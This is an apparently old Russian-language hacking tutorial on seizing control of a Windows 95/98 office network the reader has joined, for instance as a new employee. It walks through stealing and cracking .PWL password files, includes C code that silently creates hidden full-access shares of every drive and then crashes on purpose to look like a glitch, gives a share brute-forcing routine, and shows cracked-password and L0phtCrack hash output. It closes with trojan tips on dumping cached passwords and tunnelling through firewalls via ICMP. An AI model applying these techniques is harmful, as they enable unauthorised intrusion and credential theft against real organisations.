Есть шанс, что кто-то из вас волей судьбы попал в локальную сеть какого-нибудь предприятия. Например устроился на работу. И основная масса машин в этой сети работает под управлением операционок Windows 95/98. Ну и какое у вас еще может быть тут развлечение ? Конечно. Приятно заиметь всю эту сетку. И с чего мы начнем ? С исследования, конечно. Пошаримся по сетке, поглядим что открыто на чтение, что за напись. Находим разные шары, доступные на чтение (например с именем "install", "temp"), а на запись если и находим, то это что-то типа "obmen" или "income", и путного ничего там нет. А основная масса ресурсов требует пароль. Но иногда натыкаемся шары с именем "c", "d"... Это нам очень интересно. Расшареный в корне диск, это всегда приятно. :) Первым делом находим папку с Windows и вытягиваем оттуда все *.PWL файлы и сохраняем у себя на диске. По названиям этих фалов, по их размеру и количеству мы уже можем сделать кое-какие выводы. Например файл oleg.pwl ясно дает понять как зовут человека, сидящего за этой машиной. Чем больше файл, тем больше в нем сохранено паролей к ресурсам. Если файлов PWL на машине штук пять, это значит что за машиной сидит довольно много людей. Хотя может быть и то, что эти файлы создались уже давно, а на машине валяются без применения. Ведь если вы первый раз входите в систему, для вас создается новый PWL, в котором будут храниться ... Что мы может найти в PWL ? Начнем вскрытие. Берем любую ломалку паролей и действуем согласно инструкции. ;) Что мы видим ? PWL - это "копилка" в которую помещаются все пароли, которые юзер сохраняет, когда шарится по удаленным ресурсам. Для диалапщиков это обычно так : (C) 11-Sep-1998y by Hard Wisdom "PWL's Hacker" v4.02 (1996,97,98) ~~~~~~~~~~~~~~ ¦ Enter the User Password: File '1.PWL' has size 948 bytes, version [W95osr2_Win98] for user '1' with password '' contains: -[Type]-[The resource location string]--------------[Password]- Dial *Rna\My Connection\ZZ-top XXXXXXX Dial *Rna\My Connection\ZZ-TOP XXXXXXX Dial *Rna\My Connection\ZZTOP XXXXXXX Dial *Rna\TiNET 1\ZZTOP XXXXXXXXXXX Dial *Rna\TiNET 2\ZZTOP XXXXXXX Dial *Rna\TiNET\neoxars XXXXXXX Dial *Rna\TiNET\NeoXars XXXXXXX --------------------------------------------------------------- ¦ Indexed Entryes: 1; Number of resources: 7. (реальные пароли я забил знаком "X") Для локалщиклов, например, так : File 'SANJA.PWL' has size 884 bytes, version [W95osr2_Win98] for user 'SANJA' with password 'QUAKE' contains: -[Type]-[The resource location string]--------------[Password]- Link ASH\EMAIL XXXXXX Link ASH\INTERNET XXXXXX Link ASH\RED XXXXXX Link ASH\TI_UART Dial ! crypt_Blizzard_Storm XXXXX Url/ www.xilinx.com/xilinx account XXXXXX:XXXXXX MAPI MAPI MAPI --------------------------------------------------------------- _ Indexed Entryes: 4; Number of resources: 7. Все пароли, хранящиеся в PWL закрыты тольно одним паролем - тем, который вводится при входе в систему. И чаще всего его или нет, или он короткий. Поэтому мы легко их вскываем и получаем доступ к другим машинам. Затем вытягиваем с них PWL и поступаем так же. И можно было бы сказать что подбор паролей вручную морально устарел, но я очень часто успешно использовал этот метод. Так что, кто ищет, тот всегда найдет. ;) Ну что же ? Теперь мы имеем доступ к некоторым ресурсам. Что еще можно сделать ? Накидать куда только можно, например, програмку, которая расшарит все диски с полным доступом. Называем ее подходящим именем, в расчете на то, что кто-то ее запустит. // Помещаю программу без заголовков, которую нельзя просто взять и откомпилировать. :) ~~~~~~~~~~~~~~ share_info_50 shinfo50; ZeroMemory(&shinfo50,sizeof(shinfo50)); shinfo50.shi50_type=STYPE_DISKTREE; shinfo50.shi50_flags=SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST; shinfo50.shi50_remark=""; // Расшариваем 1-й диск lstrcpyn(shinfo50.shi50_netname,"TEMP1$",LM20_NNLEN+1); shinfo50.shi50_path="C:\\"; NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50)); // Расшариваем 2-й диск lstrcpyn(shinfo50.shi50_netname,"TEMP2$",LM20_NNLEN+1); shinfo50.shi50_path="D:\\"; NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50)); // Расшариваем 3-й диск lstrcpyn(shinfo50.shi50_netname,"TEMP3$",LM20_NNLEN+1); shinfo50.shi50_path="E:\\"; NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50)); // Расшариваем 4-й диск lstrcpyn(shinfo50.shi50_netname,"TEMP4$",LM20_NNLEN+1); shinfo50.shi50_path="F:\\"; NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50)); // Расшариваем 5-й диск lstrcpyn(shinfo50.shi50_netname,"TEMP5$",LM20_NNLEN+1); shinfo50.shi50_path="G:\\"; NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50)); // Расшариваем 6-й диск lstrcpyn(shinfo50.shi50_netname,"TEMP6$",LM20_NNLEN+1); shinfo50.shi50_path="H:\\"; NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50)); FillMemory((VOID*)0xFFFFFFFF,1,0); // А это для того, чтобы программа вылетела в трубу, и юзер подумал, что это просто глюк. :) // P.S. Все это только for Win95/98. Для NT нужно немного модифицировать. ~~~~~~~~~~~~~~ Теперь на машину - жертву можно зайти так - "Выполнить", "\\comp_name\temp1$" (это диск C). Что в этом убнобного ? Диск расшаривается с флагами SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST, а имя шары заканчивается знаком "$". 1) Полный доступ. 2) Шара становится системной. Т.е. в проводнике (локально) не будет видно, что диск расшарен. 3) Шара не будет видна всем в сети. Про троянизацию рассказывать не буду. Тут все ясно. Ну а если на некоторые машины вы так и не смогли попасть, можно попробывать сломать пароли удаленно перебором. Для этого даже есть специальные програмки. :) Но перебиралку паролей на шары по словарю я не видел и писал ее сам. Вот код, который подключает сетевой диск(Win95/98 only): ~~~~~~~~~~~~~~ // на входе параметры - char *resname, char *password DWORD RetVal; NETRESOURCE nr; nr.lpRemoteName=resname; nr.dwType=RESOURCETYPE_DISK; RetVal=WNetAddConnection2(&nr,password,NULL,CONNECT_UPDATE_PROFILE); ~~~~~~~~~~~~~~ Скажу пару слов об NT. Если в вашем сегменте стоят тачки с NT, можно воспользоваться программой L0phtCrack. Запустить сниффер, который будет слушать все сетевые подключения и сохранять в файл. Затем той же програмкой и вскрываем их. При физическом доступе к машине с NT вообще прекрасно делается... Так я заимел пароли всей кафедры, когда работал в университете. Но об этом не буду. Интересней все если физического контакта нет. Еще может помочь наличие на атакуемой машине Web сервера. Кстати, если даже машина с NT находится в другом сегменте и отснифферить напрямую невозможно, при большом желании можно написать сниффер самому и повесить его на уже хакнутую машину в том сегменте. А вот пример файла, который получается в результате использования осниффенных данных программой L0phtCrack. LastBruteIteration=,FPA CharacterSet=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-=[]\;',./`~!@#$%^&*()_+{}|:"<>? SERVER\VP:"":"":f96f8fa14dfe90676b4aadf399d7c26b18e6a85037ba1101:7f4b23a75a4cf7b5be0cb377241f82a8badc3ff2fb33389d SERVER\VP:"":"":08bda5f5da2428684a1610e1a0b93a3c1a1e645f0667d596:9bcdccd5f11a5f030b10442286330718b657a7610d1095a1 SERVER\VP:"":"":19d7ccd0847e6953cff447f0682f6e45357025db5acc1267:9d0b0cec945a294e787ae63700cf5ff6d8c53fd2480c0297 SERVER\VP:"":"":8469cb92c5144a507a1656bad4cc826984ee5a8cbdd5f197:89625f621d6c41332b1dc321a6aa2b8e56ca76c5d1c2530f 30\kgv:"123":"123":d6ce9805faa15dd4cb0bef339e05be38f24858abfd37b6d9:092c1aafceec650ac159b55c3a835ba68d37f6173d9aa671 30\kgv:"":"":fd36a2ac5b1789afe30e1ab0e87e43a86db68b794dea9054:4d75250ba76a84e06235fbd73d4e7107545c83a9ceb1d4df 30\nbelaya:"":"":6ceb5ba2a6975bc421b7be722dffff06a5e776e8ca0e1aed:1ecd08bd6f7cc5c8c9912718d04a2328bfe5166c3866b70b VM\АДМИНИСТРАТОР:"VEGA":"":3861f575b01fabd93b82236ea397d28cbce2e4fc36a36df4:000000000000000000000000000000000000000000000000 Что мы пожем полезного из всего извлечь ? Если жертва имеет выход в интернет, можно повесить туда свою прогу, какая замэппит порт на прокси (будет осуществлять перенаправление). Это даже в случае, если до машины вы можете добраться только по IPX/SPX. (Я так и делал. Прокси из двух половинок, которые связываются между собой по SPX. Brouser (TCP) -> MyServ1 (SPX) -> MyServ2 (TCP) -> Squid . Ксати, узнать, шарятся ли с машины по инету можно довольно просто. Загляните, что там установленно в "Program Files", проверьте "Temporary Internet Files" (кэш). Узнать настройки можно утянув реестр... P.S. 1) Если вы пишете троян, то не забывайте о том, что не всегда нужно в нем делать отсылку (по почте, например) PWL файлов, которые затем еще нужно сломать. Ведь можно воспользоваться функцией WNetEnumCachedPasswords (mpr.dll) и вытащить все кешированые пароли текущего пользователя в открытом виде. 2) Не стоит забывать про возможное наличие на машинах firewall-ов. Очень редко отключают Echo Request. Это можно использовать для управления троянами. В поле DATA можно проносить данные через firewall-ы. И вообще эфективнее всего ломануть машину-шлюз, на которую можно повесить сниффер. А вот как писать сниффер под Windows 95/98, я расскажу в следущий раз (если конечно останутся на это силы). :)
cherepovets-city.ru


Hosted by uCoz